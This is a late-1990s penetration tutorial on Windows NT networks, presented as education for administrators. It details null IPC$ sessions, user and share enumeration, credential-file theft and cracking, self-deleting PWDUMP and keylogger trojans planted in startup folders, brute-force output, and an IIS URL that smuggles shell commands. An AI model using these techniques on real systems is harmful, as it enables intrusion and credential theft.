THE WINDOWS NT WARDOC: A STUDY IN REMOTE NT PENETRATION
BY NEONSURGE AND THE RHINO9 TEAM

INTRODUCTION:

This document is an attempt by the Rhino9 team to document the methodology and techniques used in an attack on a NT based network. The intent of this document is to educate administrators and security professionals of both the mindset of an attacker and a large set of the current NT penetration techniques. This document attempts to follow in the footsteps of the classic text, "How To Improve The Security Of Your Site by Breaking Into It" by Dan Farmer and Wietse Venema.

Obviously, this text will not contain all known methods for NT network penetration. We have tried to put together a text that Administrators can use to learn basic penetration techniques to test the vulnerability of their own networks. If the concepts and techniques presented in this text are absorbed and understood, an Administrator should have a strong base knowledge of how penetrations occur and should be able to build upon that knowledge to further protect their network.

This file is not meant for people that are new to security or NT or networking technologies. The authors assume that people reading this document have a certain understanding of protocols, server technologies and network architectures.

The authors would like to continue expanding on this document and releasing updated versions of it. We call upon all those that wish to contribute techniques to send detailed information on your own penetration testing methods. We would like to release updates to this document to keep it a current and solid resource. Send your techniques or submissions to: neonsurge@hotmail.com. Valid and useful submissions will be incorporated in to the document with proper credit given to the author.

USAGE

The text is being written in a procedural manner. We have approached it much like an intruder would actually approach a network penetration. Most of the techniques discussed in this text are rather easy to accomplish once one understands how and why something is being done.

The document is divided into 3 sections: NetBIOS, WebServer, and Miscellaneous, each of which explain different methods of information gathering and penetration techniques.

INFORMATION GATHERING AND PENETRATION VIA NETBIOS
==========

The initial step an intruder would take is to portscan the target machine or network. It's surprising how methodical an
attack can become based on the open ports of a target machine. You should understand that it is the norm for an NT machine
to display different open ports than a Unix machine. Intruders learn to view a portscan and tell wether it is an NT or
Unix machine with fairly accurate results. Obviously there are some exceptions to this, but generally it can be done.
Recently, several tools have been released to fingerprint a machine remotely, but this functionality has not been made
available for NT.

When attacking an NT based network, NetBIOS tends to take the brunt of an attack. For this reason, NetBIOS will be the
first serious topic of discussion in this paper.

Information gathering with NetBIOS can be a fairly easy thing to accomplish, albeit a bit time consuming. NetBIOS is
generally considered a bulky protocol with high overhead and tends to be slow, which is where the consumption of time
comes in.

If the portscan reports that port 139 is open on the target machine, a natural process follows. The first step is to
issue an NBTSTAT command.

The NBTSTAT command can be used to query network machines concerning NetBIOS information. It can also be useful for
purging the NetBIOS cache and preloading the LMHOSTS file. This one command can be extremely useful when performing
security audits. Interpretation the information can reveal more than one might think.

Usage: nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]

Switches	-a	Lists the remote computer's name table given its host name.
	-A	Lists the remote computer's name table given its IP address.
	-c	Lists the remote name cache including the IP addresses.
	-n	Lists local NetBIOS names.
	-r	Lists names resolved by broadcast and via WINS.
	-R	Purges and reloads the remote cache name table.
	-S	Lists sessions table with the destination IP addresses.
	-s	Lists sessions table conversions.

The column headings generated by NBTSTAT have the following meanings:

Input
Number of bytes received.

Output
Number of bytes sent.

In/Out
Whether the connection is from the computer (outbound) or from another system to the local computer (inbound).

Life
The remaining time that a name table cache entry will "live" before your computer purges it.

Local Name
the local NetBIOS name given to the connection.

Remote Host
The name or IP address of the remote host.

Type
A name can have one of two types: unique or group.

The last byte of the 16 character NetBIOS name often means something because the same name can be present multiple times on the same computer. This shows the last byte of the name converted into hex.

State
Your NetBIOS connections will be shown in one of the following "states":

State	Meaning
Accepting	An incoming connection is in process.
Associated	The endpoint for a connection has been created and your computer has associated it with an IP address.
Connected	This is a good state! It means you're connected to the remote resource.
Connecting	Your session is trying to resolve the name-to-IP address mapping of the destination resource.
Disconnected	Your computer requested a disconnect, and it is waiting for the remote computer to do so.
Disconnecting	Your connection is ending.
Idle	The remote computer has been opened in the current session, but is currently not accepting connections.
Inbound	An inbound session is trying to connect.
Listening	The remote computer is available.
Outbound	Your session is creating the TCP connection.
Reconnecting	If your connection failed on the first attempt, it will display this state as it tries to reconnect.

Here is a sample NBTSTAT response of an actual machine:

C:\>nbtstat -A x.x.x.x

NetBIOS Remote Machine Name Table

Name		Type	Status
DATARAT	<00>	UNIQUE	Registered
R9LABS	<00>	GROUP	Registered
DATARAT	<20>	UNIQUE	Registered
DATARAT	<03>	UNIQUE	Registered
GHOST	<03>	UNIQUE	Registered
DATARAT	<01>	UNIQUE	Registered

MAC Address = 00-00-00-00-00-00

Using the table below, what can you learn about the machine? **sclist.exe**

Name	Number	Type	Usage
<computername>	00	U	Workstation Service
<computername>	01	U	Messenger Service
<_MSBROWSE_>	01	G	Master Browser
<computername>	03	U	Messenger Service
<computername>	06	U	RAS Server Service
<computername>	1F	U	NetDDE Service
<computername>	20	U	File Server Service
<computername>	21	U	RAS Client Service
<computername>	22	U	Exchange Interchange
<computername>	23	U	Exchange Store
<computername>	24	U	Exchange Directory
<computername>	30	U	Modem Sharing Server Service
<computername>	31	U	Modem Sharing Client Service
<computername>	43	U	SMS Client Remote Control
<computername>	44	U	SMS Admin Remote Control Tool
<computername>	45	U	SMS Client Remote Chat
<computername>	46	U	SMS Client Remote Transfer
<computername>	4C	U	DEC Pathworks TCPIP Service
<computername>	52	U	DEC Pathworks TCPIP Service
<computername>	87	U	Exchange MTA
<computername>	6A	U	Exchange IMC
<computername>	BE	U	Network Monitor Agent
<computername>	BF	U	Network Monitor Apps
<username>	03	U	Messenger Service
<domain>	00	G	Domain Name
<domain>	1B	U	Domain Master Browser
<domain>	1C	G	Domain Controllers
<domain>	1D	U	Master Browser
<domain>	1E	G	Browser Service Elections
<INet~Services>	1C	G	Internet Information Server
<IS~Computer_name>	00	U	Internet Information Server
<computername>	[2B]	U	Lotus Notes Server
IRISMULTICAST	[2F]	G	Lotus Notes
IRISNAMESERVER	[33]	G	Lotus Notes
Forte_$ND800ZA	[20]	U	DCA Irmalan Gateway Service

Unique (U): The name may have only one IP address assigned to it. On a network device, multiple occurences of a single
name may appear to be registered, but the suffix will be unique, making the entire name unique.

Group (G): A normal group; the single name may exist with many IP addresses.

Multihomed (M): The name is unique, but due to multiple network interfaces on the same computer, this configuration is
necessary to permit the registration. Maximum number of addresses is 25.

Internet Group (I): This is a special configuration of the group name used to manage WinNT domain names.

Domain Name (D): New in NT 4.0.

An intruder could use the table above and the output from an nbtstat against your machines to begin gathering information
about them. With this information an intruder can tell, to an extent, what services are running on the target machine and
sometimes what software packages have been installed. Traditionally, every service or major software package comes with
it's share of vulnerabilities, so this type of information is certainly useful to an intruder.

The next logical step would be to glean possible usernames from the remote machine. A network login consists of two parts,
a username and a password. Once an intruder has what he knows to be a valid list of usernames, he has half of several
valid logins. Now, using the nbtstat command, the intruder can get the login name of anyone logged on locally at that
machine. In the results from the nbtstat command, entries with the <03> identifier are usernames or computernames.
Gleaning usernames can also be accomplished through a null IPC session and the SID tools (For more information about
the SID tools, read appendix B).

The IPC$ (Inter-Process Communication) share is a standard hidden share on an NT machine which is mainly used for server
to server communication. NT machines were designed to connect to each other and obtain different types of necessary
information through this share. As with many design features in any operating system, intruders have learned to use this
feature for their own purposes. By connecting to this share an intruder has, for all technical purposes, a valid connection
to your server. By connecting to this share as null, the intruder has been able to establish this connection without
providing it with credentials.

To connect to the IPC$ share as null, an intruder would issue the following command from a command prompt:

```
c:\>net use \\[ip address of target machine]\ipc$ "" /user:""
```

If the connection is successful, the intruder could do a number of things other than gleaning a user list, but lets start

with that first. As mentioned earlier, this technique requires a null IPC session and the SID tools. Written by Evgenii
Rudnyi, the SID tools come in two different parts, User2sid and Sid2user. User2sid will take an account name or group
and give you the corresponding SID. Sid2user will take a SID and give you the name of the corresponding user or group.
As a stand alone tool, this process is manual and very time consuming. Userlist.pl is a perl script written by Mnemonix
that will automate this process of SID grinding, which drastically cuts down on the time it would take an intruder to
glean this information.

At this point, the intruder knows what services are running on the remote machine, which major software packages have been
installed (within limits), and has a list of valid usernames and groups for that machine. Although this may seem like a
ton of information for an outsider to have about your network, the null IPC session has opened other venues for
information gathering. The Rhino9 team has been able to retrieve the entire native security policy for the remote machine.
Such things as account lockout, minimum password length, password age cycling, password uniqueness settings as well as
every user, the groups they belong to and the individual domain restrictions for that user - all through a null IPC session.
This information gathering ability will appear in Rhino9's soon to be released Leviathan tool. Some of the tools available
now that can be used to gather more information via the IPC null session will be discussed below.

With the null IPC session, an intruder could also obtain a list of network shares that may not otherwise be obtainable.
For obvious reasons, an intruder would like to know what network shares you have available on your machines.
For this information gathering, the standard net view command is used, as follows:

```
c:\>net view \\[ip address of remote machine]
```

Depending on the security policy of the target machine, this list may or may not be denied. Take the example below
(ip address has been left out for obvious reasons):

```
C:\>net view \\0.0.0.0
System error 5 has occurred.

Access is denied.

C:\>net use \\0.0.0.0\ipc$ "" /user:""
The command completed successfully.


C:\>net "view" \\0.0.0.0
net share
Shared resources at \\0.0.0.0


Share name   Type         Used as  Comment
```

```
-------------------------------------------------------------------------------
Accelerator  Disk                 Agent Accelerator share for Seagate backup
Inetpub      Disk
mirc         Disk
NETLOGON     Disk                 Logon server share
www_pages    Disk
The command completed successfully.
```

As you can see, the list of shares on that server was not available until after the IPC null session had been established. At this point you may begin to realize just how dangerous this IPC connection can be, but the IPC techniques that are known to us now are actually very basic. The possibilities that are presented with the IPC share are just beginning to be explored.

The release of the WindowsNT 4.0 Resource Kit made a new set of tools available to both administrator and intruder alike.
Below is a description of some of the Resource Kit Utilities that the Rhino9 team has used in conjunction with the IPC$
null session to gather information. When reading these tool descriptions and the information they provide, keep in mind
that the null session that is used does NOT provide the remote network with any real credentials.

UsrStat: This command-line utility displays the username, full name, and last logon date and time for each user in a given
Domain. Below is an actual cut and paste of this tool used through a null IPC session against a remote network:

```
C:\NTRESKIT>usrstat domain4
Users at \\STUDENT4
Administrator -                                - logon: Tue Nov 17 08:15:25 1998
Guest -                                        - logon: Mon Nov 16 12:54:04 1998
IUSR_STUDENT4 -     Internet Guest Account - logon: Mon Nov 16 15:19:26 1998
IWAM_STUDENT4 - Web Application Manager account - logon:   Never
laurel -                                       - logon:        Never
megan -                                        - logon:        Never
```

In order to fully understand what is happening in the capture, lets discuss it. Before the actual attack took place,
a mapping was put into the lmhosts file that reflected the Student4 machine and it's Domain activity status using the
#PRE/#DOM tags (explained in more detail below.). The entry was then preloaded into the NetBIOS cache, and a null IPC
session was established. As you can see, the command is issued against the Domain name. The tool will then query the
Primary Domain Controller for that Domain.

Global: This command-line utility displays the members of global groups on remote servers or domains. As discussed above,
this utility is used in conjunction with an Lmhosts/IPC mapping. Shown below is an actual capture of the global tool.
In the example, the "Domain Users" is a standard, default global group present in a WindowsNT domain. For this example,
we have used the tool to query Domain1 for a listing of all users in the "Domain Users" group.

```
C:\>global "Domain Users" domain1
Bob
SPUPPY$
BILLY BOB$
Bill
IUSR_BILLY BOB
IWAM_BILLY BOB
IUSR_SPUPPY
IWAM_SPUPPY
```

Local: The Local tool works just as the Global tool does, except it queries the machine for the members of a local group
instead of a global group. Below is an example of the Local tool querying a server for a list of its Administrators group.

```
C:\>local "administrators" domain1
Bob
Domain Admins
Bill
```

NetDom: NetDom is a tool that will query a server for its role in a domain, as well as querying the machine for its PDC.
The NetDom tool also works with an Lmhosts/IPC mapping. Below is a capture of the tool and its standard output:

```
Querying domain information on computer \\SPUPPY ...
The computer \\SPUPPY is a domain controller of DOMAIN4.
Searching PDC for domain DOMAIN4 ...
Found PDC \\SPUPPY
The computer \\SPUPPY is the PDC of DOMAIN4.
```

NetWatch: NetWatch is a tool that will give the person invoking the tool a list of the shares on a remote machine. Again,
this tool works with an Lmhosts/IPC mapping. The bad thing about this tool is that the Rhino9 team was able to use the
tool to retrieve a list of the hidden shares on the remote machine.

Other known penetration techniques that involve the IPC share include opening the registry of the remote machine, as well
as a remote User Manager for Domains technique. The IPC null connection could allow an intruder to potentially gain access
to your registry. Once the null IPC session has been established, the intruder would launch his local regedit utility
and attempt the Connect Network Registry option. If this is succesful, the intruder would have read access to certain
regsitry keys, and potentially read/write. Regardless, even read access to the registry is undesirable from a security
standpoint.

An intruder could also attempt the IPC User Manager for Domains technique. This technique is relatively unknown and often
times produces no results. We are covering it because it can produce results and it can be an effective intrusion
technique. This technique involves a null IPC session and entries into the LMHOSTS file. The LMHOSTS file is (normally)

a local file kept on windows based machines to map NetBIOS names to IP addresses. Used mostly in non-WINS environments
or on clients unable to use WINS, the LMHOSTS file can actually be used in many different ways by an intruder. Different
uses for the LMHOSTS file will be discussed later in this text, for now we will discuss how the LMHOSTS file is used
in this technique.

This is an excellent technique to discuss because it shows how one of the previous techniques is used in conjunction with
this one to accomplish a goal. Beginning with a portscan, and assuming that port 139 is open, the attacker would issue an
nbtstat command. The intruder would then glean the NetBIOS name of the remote machine from the nbtstat results. Lets look
at the same sample nbtstat results from above:

```
C:\>nbtstat -A x.x.x.x

 NetBIOS Remote Machine Name Table

   Name               Type         Status
---------------------------------------------
DATARAT        <00>  UNIQUE      Registered
R9LABS         <00>  GROUP       Registered
DATARAT        <20>  UNIQUE      Registered
DATARAT        <03>  UNIQUE      Registered
GHOST          <03>  UNIQUE      Registered
DATARAT        <01>  UNIQUE      Registered

MAC Address = 00-00-00-00-00-00
```

By examining the results of the nbtstat command, we are looking for the <03> identifier. If someone is logged on locally
on the machine, you will see two <03> identifiers. Normally the first <03> listed is the netbios name of the machine and
the second <03> identifier listed is the name of the locally logged on user. At this point the intruder would put the
netbios name and ip address mapping of the machine into his local LMHOSTS file, ending the entry with the #PRE and #DOM
tags. The #PRE tag denotes that the entry should be preloaded into the netbios cache. The #DOM tag denotes domain activity. At this point the intruder would issue a nbtstat -R command to preload the entry into his cache. Technically, this preloading would make the entry appear as if it had been resolved by some previous network function and allow the name to be resolved much quicker.

Next the intruder would establish a null IPC session. Once the null IPC session has been succesfully established, the intruder would launch his local copy of User Manager for Domains and use the Select Domain function in User Manager. The Domain of the remote machine will appear (or can manually be typed in) because it has been pre-loaded into the cache. If the security of the remote machine is lax, User Manager will display a list of all the users on the remote machine. If this is being done over a slow link (i.e. 28.8 modem) it will normally not work. On faster network connections however, this tends to produce results.

Now that the intruder has gathered information about your machine, the next step would be to actually attempt a penetration of that machine. The first penetration technique to

be discussed will be the open file share attack. The intruder would couple the previously discussed net view command with a net use command to accomplish this attack.

Taking the net view from above, lets discuss the attack.

```
C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0


Share name   Type         Used as  Comment

-------------------------------------------------------------------------------
Accelerator  Disk                  Agent Accelerator share for Seagate backup
Inetpub      Disk
mirc         Disk
NETLOGON     Disk                  Logon server share
www_pages    Disk
The command completed successfully.
```

Once the attacker has a list of the remote shares, he could then attempt to map to a remote share. An example of the
command structure for the attack would be:

```
c:\>net use x: \\0.0.0.0\inetpub
```

This attack will only work if the share is unpassworded or shared out to the everyone group (NOTE: The Everyone group means
Everyone. If someone connects as a null user, they are now part of the everyone group.). If those parameters are in place, the attacker would be able to map a network drive to your machine and begin what could amount to a severe series of penetration attacks. Keep in mind that the intruder is not limited to mapping drives to the shares displayed by the net view command. An intruder that knows NT or has done his homework knows that NT has hidden administrative shares. By default, NT creates the IPC$ share and one hidden share for every drive on the machine (i.e. a machine that has C, D, and E drives would have corresponding hidden shares of C$, D$, and E$). There is also a hidden ADMIN$ share that maps directly to the installation path of NT itself (i.e. If you installed NT on C:\winnt, than ADMIN$ maps to that exact portion of that drive). One thing that the Rhino9 team has noticed about the majority of the NT security community is that they seem to be oblivious to the concept of penetrating one internal NT machine from another internal NT machine. The Rhino9 team, during our professional audits, has accomplished this task many times. Chances are, if the intruder is good and can gain access to one of your machines, he will worm his way into the rest of your network. For that reason, these share attacks can pose a serious threat.

(As a side note, the Rhino9 team was once contacted to perform a remote penetration audit for one of the largest ISP's in
Florida. We gained access to a share on one of the technician's personal machines, and from there gained access to the
entire network. It can be done.)

At first, someone may not be able to see the dangers of someone having access to your hard drive. Access to the hard drive
opens up new avenues for Information Gathering and Trojan/Virus planting. An attacker would normally look for something
that could possibly contain a password or highly sensitive data that he could use to continue digging his way into your

network. Some of the files that a intruder will look for and use are listed below, each with a brief description of what
it is, and how it would be used.

Eudora.ini: This file is used to store configuration information for eudora e-mail software. An easily obtainable tool
called eudpass.com will extract the individuals username and password information as well as all the information that the
attacker needs to begin eavesdropping on the users mail. At this point, the intruder could configure his own e-mail
software to read the targets mail. Again, some could have a hard time seeing the dangers in this, but remember that
generally, people are creatures of habit. The chances that the user's e-mail password is the same password they use to log
into the network at work are relatively high. Now all the attacker needs to do is keep snooping around on the users hard
drive for a resume or some other work related document to point him in the direction of the persons place of business,
allowing him to launch a somewhat strong initial strike against the network.

Tree.dat: This is the file that is used by the popular software CuteFTP to store the users ftp site/username/password
combinations. Using a program called FireFTP, the attacker can easily crack the tree.dat file. So, as above, the user
could keep gathering information about you and launch an attack against your place of business. Not to mention that if
you have an ftp mapping in your tree.dat that maps directly to your place of business, his attack has now become much
easier.

PWL: PWL's generally reside on Win95 machines. They are used to store operation specific passwords for the Windows95 end
user. A tool called glide.exe will crack (with less than desirable efficiency) PWL files. There is also documentation
available on how to manually crack the encryption of these PWL files using a calculator. Continuing the scenario, the
attacker could keep gathering information about the user and formulate an attack.

PWD: PWD files exist on machines running FrontPage or Personal Webserver. These files include the plain text username and
an encrypted password matching the credentials needed to administer the website. The encryption scheme used for these
passwords is the standard DES scheme. Needless to say, many DES cracking utilities are available on the internet.
John the Ripper by Solar Designer very efficiently cracks these passwords.

WS_FTP.ini: This ini file exists on machines using ws_ftp software. Although an automated password extractor for this file
has just recently been introduced into the security community, the encryption mechanism used is not very strong.
The password is converted to hex numbers (2 digits). If a digit is at the N position, then N is added to the digit.
Reverse the process and you have cracked this encryption scheme. (This is also known to sometimes work for cracking
PMail.ini - Pegasus Mail and Prefs.js - Netscape.)

IDC Files: IDC (internet database connecter) files are normally used for back-end connectivity to databases from a
webserver. Becuase this type of connection generally requires authentication, some IDC files contain username/password
combinations, often times in clear text.

waruser.dat: This is one of the config files for WarFTP, the popular Win32 FTP server. This particular dat file could
contain the administrative password for the FTP server itself. From what the authors have been able to find out, this
only occurs in beta versions of WarFTP 1.70.

$winnt$.inf: During an unattended installation of WindowsNT, the setup process requires information files. As residue
of this unattended installation process, a file called $winnt$.inf could exist in the %systemroot%\system32 directory.
This file could contain the username and password combination of the account that was used during the installation.
Because the account used in these types of installations normally require some strong permission sets on the network,
this is not a trivial matter.

Sam._: Although people have known for a long time that the SAM database could present a problem if it fell into the wrong hands, many people forget about the sam._. Many would-be intruders have asked themselves how they could copy the SAM database if they could mount a drive across the net. Well, normally this is not possible, because the NT server you are connected to is running, and while it is running, it locks the SAM. However, if the administrator has created an emergency
repair disk, a copy of the SAM should be located in the %systemroot%\repair\ directory. This file will be named sam._. This copy, by default is EVERYONE readable. By using a copy of the samdump utility, you can dump username/password
combinations from the copied SAM.

ExchVerify.log: The ExchVerify.log file is created by Cheyenne/Innoculan/ArcServe. Normally created by the installation of
the Cheyenne/Innoculan/ArcServe software, this file resides at the root of the drive where the software installation took place. This file can contain extremely sensitive information, as shown below:

<EXCH-VERIFY>: ExchAuthenticate() called with
NTServerName:[SAMPLESERVER]
NTDomainName[SAMPLESERVER] adminMailbox:[administrator]
adminLoginName:[administrator]
password:[PASSWORD]

Needless to say, the file contains information that an intruder could easily use to further compromise the integrity of
your network.

Profile.tfm: Profile.tfm is a file that is created by the POP3 client software AcornMail. At the writing of this document, AcornMail began getting alot of attention from the internet community. Upon inspection of the software,
we found that it's an efficient POP3 client, but the installation is not NTFS friendly. After the installation of the software, we began to check into the files that AcornMail created. We found that the Profile.tfm file held the
username/password combination. At first, we decided the software was somewhat ok, because it did indeed store the

password in an encrypted state. We then realized that the permissions on the profile.tfm file were set to Everyone/Full Control. This causes problems because anyone could obtain a copy of the file and plug this file into their own AcornMail
installation. Then intruder coud log on with the stored information. Below is a capture in Network Monitor of just that.

```
00000000  00 01 70 4C 67 80 98 ED A1 00 01 01 08 00 45 00 ..pLg.........E.
00000010  00 4A EA A7 40 00 3D 06 14 88 CF 62 C0 53 D1 36 .J..@.=....b.S.6
00000020  DD 91 00 6E 04 44 F6 1E 84 D6 00 32 51 EB 50 18 ...n.D.....2Q.P.
00000030  22 38 64 9E 00 00 2B 4F 4B 20 50 61 73 73 77 6F "8d...+OK.Passwo
00000040  72 64 20 72 65 71 75 69 72 65 64 20 66 6F 72 20 rd.required.for.
00000050  68 6B 69 72 6B 2E 0D 0A                         jjohn...
00000000  98 ED A1 00 01 01 00 01 70 4C 67 80 08 00 45 00 ........pLg...E.
00000010  00 36 A4 02 40 00 80 06 18 41 D1 36 DD 91 CF 62 .6..@....A.6...b
00000020  C0 53 04 44 00 6E 00 32 51 EB F6 1E 84 F8 50 18 .S.D.n.2Q.....P.
00000030  21 AC 99 90 00 00 50 41 53 53 20 67 68 6F 73 74 !.....PASS.xerox
00000040  37 33 0D 0A                                     63..
```

As you can see, the username/password is indeed passed in clear text. This is not a fault of AcornMail, but something that has been present in the POPvX. This 'data' file swapping/packet sniffing type of technique has been tested by the Rhino9 team on numerous software titles, so this attack is not limited to AcornMail.

Now that we have discussed the files an intruder may wish to acquire if he gains access to your hard drive, lets discuss
Trojan planting. If there is one thing that can gain an attacker a ton of information, it is trojan planting. The open file share attack generally makes trojan planting extremely easy to do. One of the easiest and most informative trojans to use is the PWDUMP utility wrapped in a batch file. If prepared correctly, the batch file will execute minimized
(also named something clever, such as viruscan.cmd), run the PWDUMP utility, delete the PWDUMP utility after it has run its course, and finally erase itself. This generally leaves little evidence and will create a nice text file of all of the username/password combinations on that machine.

Rules of the trick: The target must be an NT machine and the end user executing the trojan must be the administrator, so the attacker drops the batch file into the Administrators start-up folder and waits. The next time the Administrator logs in to the machine, the batch file executes and dumps the username/password combinations. Then the attacker connects back into the machine via file sharing and collects the results.

Another solid attack an intruder might try is to place a keylogger batch into the start-up folder. This can usually be done to any user, not just the administrator. This will glean all keystrokes issued by that user, minus initial logon credentials (due to the NT architecture, which stops all user mode processes during login). The attacker then connects back to the target machine at a later time and collects the recorded keystrokes.

One of the deadliest trojan attacks issued is a batch file that runs as Administrator and sets up a scheduled event using the AT command. Because the AT command can execute as System, it can create copies of the SAM database and the registry. Imagine the fun an attacker can have with that one.

How does one prevent such attacks? By not sharing items to the everyone group, and by enforcing strong password schemes in

your environment. If an intruder comes across a server that prompts him for credentials at every turn, chances are the intruder will become frustrated and leave. Other, more persistant intruders, will continue on with a Brute Force Attack.

Undoubtedly the most common tool for Brute Force NetBIOS attacks is NAT. The NAT (NetBIOS Auditing Tool) tool will allow a user to automate network connection commands using a list of possible usernames and passwords. NAT will attempt to connect to the remote machine using every username and every password in the lists provided. This can be a lengthy process, but often times an attacker will use a shortened list of common passwords and call it quits. An accomplished intruder will construct his list of usernames by using the information gathering techniques discussed above. The password list the intruder will use will also be constructed from gleaned information. Starting with a bare bones list of passwords, and creating the rest based on the usernames. It comes as no surprise to security professionals to find passwords set to the username.

An attacker can specify an IP addresses to attack or he can specify an entire range of IP addresses. NAT will diligently work to accomplish the task, all the while generating a formatted report.

Below is an actual results file of a real NAT attack across the internet. Although permission was given for the Rhino9 team to perform this attack, the IP address has been changed to protect the test target.

```
[*]--- Reading usernames from userlist.txt
[*]--- Reading passwords from passlist.txt

[*]--- Checking host: 0.0.0.0
[*]--- Obtaining list of remote NetBIOS names

[*]--- Attempting to connect with name: *
[*]--- Unable to connect

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Tue Oct 14 11:33:46 1997
[*]--- Timezone is UTC-4.0
[*]--- Remote server wants us to encrypt, telling it not to

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMINISTRATOR'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `GUEST'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ROOT'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMIN'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `PASSWORD'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `PASSWORD'

[*]--- Obtained server information:

Server=[AENEMA] User=[] Workgroup=[STATICA] Domain=[]

[*]--- Obtained listing of shares:
```

```
      Sharename       Type      Comment
      ---------       ----      -------
      ADMIN$          Disk:     Remote Admin
      C$              Disk:     Default share
      D$              Disk:     Default share
      E$              Disk:     Default share
      HPLaser4        Printer:  HP LaserJet 4Si
      IPC$            IPC:      Remote IPC
      NETLOGON        Disk:     Logon server share
      print$          Disk:     Printer Drivers

[*]--- This machine has a browse list:

      Server               Comment
      ---------            -------
      AENEMA


[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$

[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- WARNING: Able to access share: \\*SMBSERVER\D$
[*]--- Checking write access in: \\*SMBSERVER\D$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\D$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\D$

[*]--- Attempting to access share: \\*SMBSERVER\E$
[*]--- WARNING: Able to access share: \\*SMBSERVER\E$
[*]--- Checking write access in: \\*SMBSERVER\E$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\E$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\E$

[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON

[*]--- Attempting to access share: \\*SMBSERVER\print$
[*]--- WARNING: Able to access share: \\*SMBSERVER\print$
[*]--- Checking write access in: \\*SMBSERVER\print$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\print$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\print$

[*]--- Attempting to access share: \\*SMBSERVER\ROOT
```

```
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access
```

If you look closely at the results, you can clearly see the CONNECTED message which informs the attacker that the tool
found a valid Username/Password combination. At this point, the intruder would just manually re-connect to that machine
using the newly found username/password combination and launch his attack.

This is the end of the remote penetration via NetBIOS section. Keep in mind that the techniques discussed above are neither
static nor stand-alone. An intruder who has spent time learning how to penetrate NT based networks will become extremely
creative and use not only the techniques above, but personal variations of those techniques.

INFORMATION GATHERING AND PENETRATION VIA WEBSERVER

Information gathering and remote penetration via a webserver is well known today due to the population explosion on the
internet and the resulting dissemenation of information. When discussing remote penetration and information gathering on NT
Webservers, we will focus on Internet Information Server, the webserver that comes bundled with NT4.

Some of the information to be discussed will be somewhat outdated. We have included it due to the fact that during
professional audits, the Rhino9 Team has come across companies that are still running older versions of software titles in
their production environments.

Lets begin by discussing information gathering techniques. We will discuss ways of getting information about the webserver
under attack, as well as using the webserver to get information that could be used in other types of attacks.

First we will discuss how one would retrieve the webserver software package and version on the target machine. Someone
that is new to the security community might wonder why one would want the webserver version of the target machine. Every
different version and distribution of software has different vulnerabilities attached to them. For this reason, an intruder would want to know the webserver software and version in question.

The oldest technique used to acquire webserver software and version is to telnet to the target machine on the HTTP port.
Once a telnet connection has been established, issuing a simple GET command would allow one to view the HTTP header information, which would include the webserver software and version being used.

One who is not prone to using telnet, or does not wish to parse through the header information can use a couple of

available tools. The first, and probably most popular tool amongst non-accomplished intruders is Netcraft. An intruder
can visit www.netcraft.com and use their query engine to retrieve the webserver information from the remote target.
Netcraft can also be used retrieve all known webserver hostnames. For example, if we wanted to find all of the webservers
that belong to the someserver.com domain, we could use Netcraft's engine to query *.someserver.com, and it would return
a listing of all of the webserver hosts in that domain. Other tools that can be used to retrieve webserver version include
1nf0ze by su1d and Grinder by horizon of Rhino9 (URLs to all tools discussed in this text can be found at the end of this
document).

Once the intruder has determined what webserver package he is up against, he can begin to formulate an attack plan. By
using the techniques discussed below, the intruder could gain access to the server or gain information from the server to
use in other attacks. Understand that this section is in no way a complete representation of all attacks, just the more
common and well known ones.

The first attack to be covered is the .bat/.cmd flaw. As this flaw was well documented with its public posting, it will be
quoted below (author unknown, if the author is reading this, let me know so that proper credit can be given):

<Quote>
The .bat and .cmd BUG is a well-known bug in Netscape server and described in the WWW security FAQ Q59. The implementation
of this bug in Internet Information Server beats all scores.

Let's consider fresh IIS Web server installation where all settings are default:

1) CGI directory is /scripts

2) There are no files abracadabra.bat or abracadabra.cmd in the /scripts directory.

3) IIS Web server maps .bat and .cmd extensions to cmd.exe.

Therefore registry key

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ScriptMap

has the following string:

.bat or .cmd=C:\WINNT35\System32\cmd.exe /c %s %s

In this case a hacker with a malicious intent can send either one of the two command lines to the server:

a) /scripts/abracadabra.bat?&dir+c:\+?&time
b) /scripts/abracadabra.cmd?&dir+c:\+?&time

and the following happens:

1) Browser asks how you want to save a document. Notepad.exe or any other viewer would do for this "type" of application.

2) Browser starts the download session. The download window appears on the screen.

3) The hacker clicks the "cancel" button on the download window, because the "time" command on the server never terminates.

